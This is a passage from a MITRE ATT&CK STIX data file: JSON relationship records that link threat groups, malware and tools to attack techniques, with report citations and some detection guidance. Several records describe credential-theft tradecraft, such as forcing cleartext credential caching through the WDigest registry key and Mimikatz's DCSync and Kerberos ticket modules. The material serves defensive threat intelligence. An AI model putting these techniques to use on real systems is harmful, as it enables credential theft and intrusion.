Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75d04175-c43d-46cd-be08-5f4c91f767ed","type":"relationship","created":"2017-05-31T21:33:27.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT28 January 2017","description":"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."},{"source_name":"US District Court Indictment GRU Oct 2018","url":"https://www.justice.gov/opa/page/file/1098481/download","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-02-28T16:17:59.038Z","description":"(Citation: FireEye APT28 January 2017)(Citation: Kaspersky Sofacy)(Citation: Securelist Sofacy Feb 2018)(Citation: US District Court Indictment GRU Oct 2018)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75d124da-bb01-422f-bbf1-a472c841741b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.988Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can walk through directories and recursively search for strings in files.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75d297b3-bd2e-4815-9c28-649f7f1d4a62","type":"relationship","created":"2020-10-27T19:26:38.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:38.292Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has been packed with the UPX packer.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75d3d753-2276-4409-bf3d-df5e299ceb16","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T22:05:47.340Z","description":"Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes.\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on abuse of Accessibility Features. ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75db2ffc-f33f-4735-a3eb-139d959b0b50","type":"relationship","created":"2021-10-08T15:22:00.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T15:22:00.048Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) can upload files from a compromised host.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75dcfc1b-016e-44ac-97c9-5a2eb3b76e50","created":"2024-03-25T21:02:12.884Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:02:12.884Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) Spider enumerates a target organization for files and directories of interest, including source code.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75e01f6a-9f45-4db2-a79d-a21453b6d83f","type":"relationship","created":"2020-09-30T13:48:26.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:13:38.333Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can collect the hostname, operating system configuration, product ID, and disk space on victim machines by executing [Systeminfo](https://attack.mitre.org/software/S0096).(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75e83708-7c1e-4124-b531-abac08a7523e","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75ec1c68-2e16-41fd-b1e6-8606534bbc2b","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75f0ea4c-5b88-4b14-9859-67379f4ba9b0","created":"2020-05-13T12:42:06.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.655Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has modified the Registry key HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest by setting the UseLogonCredential registry value to 1 in order to force credentials to be stored in clear text in memory. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also modified the WDigest registry key to allow plaintext credentials to be cached in memory.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--75f2e135-5c45-4b27-a7dc-f62e68f6a5ce","created":"2021-12-01T18:23:32.725Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) can retrieve data from specific Windows directories, as well as open random files as part of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497).(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T21:53:42.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75f47e28-75dd-4471-8d00-ed4a2c4d3328","created":"2019-01-30T15:27:06.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.858Z","description":"[Seasalt](https://attack.mitre.org/software/S0345) has a command to download additional files.(Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--75f7d0e0-b1e9-4289-8895-d8a262930523","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-01T04:34:30.866Z","description":"Commands such as net group and net localgroup can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate groups.(Citation: Savill 1999)","relationship_type":"uses","source_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75f88090-55cb-4b3b-84af-cf51058c3ccc","type":"relationship","created":"2019-01-29T19:18:28.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","source_name":"TrendMicro DarkComet Sept 2014"},{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.672Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can load any files onto the infected machine to execute.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--75fcbeab-4f32-4e6d-a02a-9d5509fd4c4f","type":"relationship","created":"2019-04-23T16:12:37.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2020-03-18T22:54:27.969Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains modules, such as Get-LocAdm for enumerating permission groups.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76021528-7cb6-461a-870a-f681cac19285","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","source_name":"Proofpoint TA459 April 2017"}],"modified":"2019-03-25T17:00:47.332Z","description":"[TA459](https://attack.mitre.org/groups/G0062) has targeted victims using spearphishing emails with malicious Microsoft Word attachments.(Citation: Proofpoint TA459 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76037b22-a3e4-40d3-bd56-699d1ea4e97e","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?page_id=1821","description":"Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.","source_name":"Adsecurity Mimikatz Guide"},{"url":"https://adsecurity.org/?p=1640","description":"Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.","source_name":"AdSecurity Kerberos GT Aug 2015"},{"source_name":"Harmj0y DCSync Sept 2015","description":"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.","url":"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:45.880Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002)’s LSADUMP::DCSync and KERBEROS::PTT modules implement the three steps required to extract the krbtgt account hash and create/use Kerberos tickets.(Citation: Adsecurity Mimikatz Guide)(Citation: AdSecurity Kerberos GT Aug 2015)(Citation: Harmj0y DCSync Sept 2015)(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7606ad11-1322-4b97-83b9-aaafaee02c07","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/wp/wp-two-years-of-pawn-storm.pdf","description":"Hacquebord, F.. (2017, April 25). Two Years of Pawn Storm: Examining an Increasingly Relevant Threat. Retrieved May 3, 2017.","source_name":"Trend Micro Pawn Storm April 2017"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"description":"MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019.","url":"https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/","source_name":"Microsoft STRONTIUM Aug 2019"},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-26T17:53:02.916Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used legitimate credentials to gain initial access, maintain access, and exfiltrate data from a victim network. The group has specifically used credentials stolen through a spearphishing email to login to the DCCC network. The group has also leveraged default manufacturer's passwords to gain initial access to corporate networks via IoT devices such as a VOIP phone, printer, and video decoder.(Citation: Trend Micro Pawn Storm April 2017)(Citation: DOJ GRU Indictment Jul 2018)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--760be456-6b72-4b86-b5aa-3297aa89bc4d","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT FALLCHILL Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318A"}],"modified":"2020-03-27T20:45:20.283Z","description":"[FALLCHILL](https://attack.mitre.org/software/S0181) collects MAC address and local IP address information from the victim.(Citation: US-CERT FALLCHILL Nov 2017)","relationship_type":"uses","source_ref":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--761c328c-c7fe-4968-875d-537b99c4a605","type":"relationship","created":"2020-06-16T17:23:06.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-16T17:23:06.601Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--761edf58-baad-4626-acca-a137c251b0e6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.515Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) can delete itself or specified files.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--762f22f8-5f47-4c1f-b41b-86984c3e2550","type":"relationship","created":"2019-01-29T19:55:47.992Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf","source_name":"Kaspersky Turla Aug 2014"}],"modified":"2020-03-30T02:09:54.673Z","description":"[Epic](https://attack.mitre.org/software/S0091) compresses the collected data with bzip2 before sending it to the C2 server.(Citation: Kaspersky Turla Aug 2014)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--762f85a3-0120-4b09-aafd-3f460764e85f","type":"relationship","created":"2017-05-31T21:33:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html","description":"Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.","source_name":"Moran 2013"},{"url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.","source_name":"Moran 2014"}],"modified":"2019-06-10T19:28:01.000Z","description":"(Citation: Moran 2013)(Citation: Moran 2014)","relationship_type":"uses","source_ref":"intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb","target_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76333b56-47b1-40c6-9223-c4cf6673362f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Seaduke 2015","description":"Symantec Security Response. (2015, July 13). “Forkmeiamfamous”: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.","url":"http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"}],"modified":"2020-03-17T16:34:05.489Z","description":"Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to extract email from Microsoft Exchange servers using compromised credentials.(Citation: Symantec Seaduke 